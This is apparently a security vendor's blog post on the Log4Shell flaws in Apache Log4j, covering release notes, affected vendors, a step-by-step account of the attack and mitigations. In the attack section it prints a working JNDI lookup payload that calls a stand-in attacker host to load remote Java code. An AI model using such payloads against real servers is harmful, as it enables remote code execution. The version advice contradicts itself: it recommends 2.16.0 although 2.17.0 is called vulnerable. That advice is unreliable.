Last week, a zero-day vulnerability hit the media causing a race between the good guys and the bad guys.

Log4shell is a zero-day vulnerability that exploits the popular java logging framework called Log4j by logging data including user input leading to the unauthorized installation of code on the server.

Simply put, you blindly trust the user input data coming from outsiders and open up your server to sneaky tricks.

This vulnerability has been found in versions 2.0-beta9 up to 2.17.0.
2.17.1 is the latest version that is stable and recommended for an upgrade.

Cyvatar’s Fully Configured SEM Members are protected. If you’re not a member and would like to put Cyvatar to the test for your organization, SIGN UP for FREE today.

Apache Software Foundation’s recent release history

Release 2.17.1 – 12-27-2021

This release primarily addresses a security flaw called CVE-2021-44832. All versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4 are affected.

Apache wrote in the vulnerability description, “Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.”

In addition to that, there are several changes that are made:

• JdbcAppender now uses JndiManager to access JNDI resources. JNDI is only enabled when system property log4j2.enableJndiJdbc is set to true. Fixes LOG4J2-3293
• Remove unused method. Fixes LOG4J2-3290
• ExtendedLoggerWrapper.logMessage no longer double-logs when location is requested. Fixes LOG4J2-3292
• log4j-to-slf4j no longer re-interpolates formatted message contents. Fixes LOG4J2-3289
• Correct SpringLookup package name in Interpolator. Fixes LOG4J2-3204
• log4j-to-slf4j takes the provided MessageFactory into account. Fixes LOG4J2-3284
• Fix MapLookup to lookup MapMessage before DefaultMap. Fixes LOG4J2-3264
• Buffered I/O checked had inverted logic in RollingFileAppenderBuidler. Fixes LOG4J2-3274
• Fix NPE when input is null in StrSubstitutor.replace(String, Properties)
• Lookups with no prefix only read values from the configuration properties as expected. Fixes LOG4J2-3270
• Reduce ignored package scope of KafkaAppender. Fixes LOG4J2-3256

Release 2.17.0 – 12-17-2021

The detailed change log includes applying many fixes, such as:

• Fix string substitution recursion. Fixes LOG4J2-3230
• Limit JNDI to the java protocol only. JNDI will remain disabled by default. Rename JNDI enablement property from ‘log4j2.enableJndi’ to ‘log4j2.enableJndiLookup’, ‘log4j2.enableJndiJms’, and ‘log4j2.enableJndiContextSelector’. Fixes LOG4J2-3242
• Do not declare log4j-api-java9 and log4j-core-java9 as dependencies as it causes problems with the Maven enforcer plugin. Fixes LOG4J2-3241
• PropertiesConfiguration.parseAppenderFilters NPE when parsing properties file filters. Fixes LOG4J2-3247
• Log4j 1.2 bridge for Syslog Appender defaults to port 512 instead of 514. Fixes LOG4J2-3249
• Log4j 1.2 bridge API hard codes the Syslog protocol to TCP. Fixes LOG4J2-3237

Log4Shell, formerly known as CVE-2021-44228, is primarily because of what NIST calls improper input validation.

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations.

This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack.

Log4j 2.15.0 makes a best-effort attempt to restrict JNDI LDAP lookups to localhost by default.

Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

This vulnerability was first reported to Apache organization by Alibaba’s security team on Nov 24th, 2021 which was later made public on Dec 9th, 2021.

Who is impacted by log4shell?

There is already quite a list of big organizations impacted by this.

The changing list of manufacturers and components impacted by Log4shell:

Manufacturers/Components	Manufacturers/Components
> Apple        > Tencent        > Steam        > Twitter        > Baidu        > DIDI        > JD        > NetEase        > CloudFlare        > Amazon        > Tesla        > Apache Solr        > Apache Druid        > Apache Flink        > Apache Struts2        > Flume        > Dubbo	> IBM Qradar SIEM        > PaloAlto Panorama        > Redis        > logstash        > ElasticSearch        > Kafka        > Ghidra        > Ghidra server        > Minecraft        > PulseSecure        > UniFi        > VMWare        > Blender        > Google        > Webex        > LinkedIn        > VMWarevCenter        > Speed camera LOL

This list is verified by the Internet community with screenshots here: Log4jAttackSurface.

You must be wondering how such vulnerabilities end up in your software.

Understanding Log4j vulnerabilities

Log4j is a logging package in the Java framework. The attackers are exploiting this library to log data in the form of user input and eventually run code on the server.

The attacker sends a specially crafted message that contains strings like ${jndi:ldap://hacked.com/a} (where hacked.com is an attacker-controlled server), this might result in loading an external code class or message lookup resulting in execution of the code (Remote Code Execution aka RCE).

This vulnerability was released publicly on Dec 9th on Twitter.

Thanks to the ‘lookups’ feature of this package, hackers are not just able to supply data you are planning to log but also get to choose what it contains, how it’s formatted and how the content is acquired.

The weaponization of unmitigated servers has been observed leveraging Cobalt Strike, botnet device recruitment, and crypto-mining.

The attackers use several different JNDI (Java Naming Directory Interface) lookups to orchestrate this attack.

The most popular of such lookups is LDAP. However, the other lookups such as DNS and RMI are also viable attack vectors.

Let’s see how the exploit to this vulnerability is made.

Exploit steps:

1. A user sends data to a server via any protocol
2. The server then logs the data containing the malicious payload. For example:

${jndi:ldap://hacked.com/a} (where hacked.com is an attacker-controlled server)

3. The payload triggers the log4j vulnerability and the server makes a request to hacked.com via JNDI.
4. The response contains the path to the remote java class file on this domain: https://stage-second.hacked.com/Exploit.class which is then injected into the server process
5. The injected payload triggers the second stage and executes arbitrary code

How to mitigate the risk

Whether you are impacted by this vulnerability or not, it just makes more sense to play safe than to be sorry.

The Swiss government has provided a great infographic with the possible solutions (in red) to the Log4shell exploit.

The following are the steps you can take to mitigate the risk due to Log4j vulnerabilities:

• Upgrade to version 2.16.0 that disables JNDI by default. A user needs to explicitly enable it.
• Configure the firewall to watch TCP connections
• Checking on the vendor software version. Unfortunately, you can’t do much with vendor software unless an update is available from their end. The security patch must be provided by the vendor to their software. When the update is available, download and install the update
• Scanning remote endpoints by triggering DNS query

3 workarounds to update the library

For some reason if you are not able to update the log4j library, Apache has proposed 3 different workarounds:

1. Run the vulnerable program under Java with an added command line to suppress JNDI

java -Dlog4j2.formatMsgNoLookups=true MyLogger.java ${jndi:ldap://127.0.0.1:8888/try}

2. Set an environment variable to have same result:

set LOG4J_FORMAT_MSG_NO_LOOKUPS=true

java TryLogger.java ${jndi:ldap://127.0.0.1:8888/try}

3. Repackage the log4j*.jar file by unzipping and removing the JNDI class found at this path: org/apache/logging/log4j/core/lookup/JndiLookup.class

The command-line and environment variable mitigations work on the log4j version onwards. If the version is earlier than 2.10.0 then we need to use a zip compressor such as free and popular 7-zip.

On MAC or Linux, the offending component could be removed using the following command line:

zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Cyvatar Response

Using vulnerability assessment tools, patch management utilities, and endpoint protection software, our Cydekick team is always laced-up and ready to race into action.

We’re combating zero-day vulnerabilities with daily tasks of continuously configuring scans based on newly released information, working with our MX team and Members to ensure clear communication, and developing tailored remediation plans for our Members’ environments.

Cyvatar doesn’t want you to cancel your holiday plans.

Cyvatar’s Fully Configured Secure Endpoint Management Members are protected. If you’re not a member and would like to talk to Cyvatar about a fully managed security strategy, SIGN UP for FREE today.

Our members stay at ease knowing we stand committed and vigilant, ensuring the mission-critical environments of our members remain protected and secure, especially during this holiday season when cybersecurity events are known to increase.

We will continue to update this blog as pertinent information becomes available. Please contact us with any questions you have about your organization’s cybersecurity posture.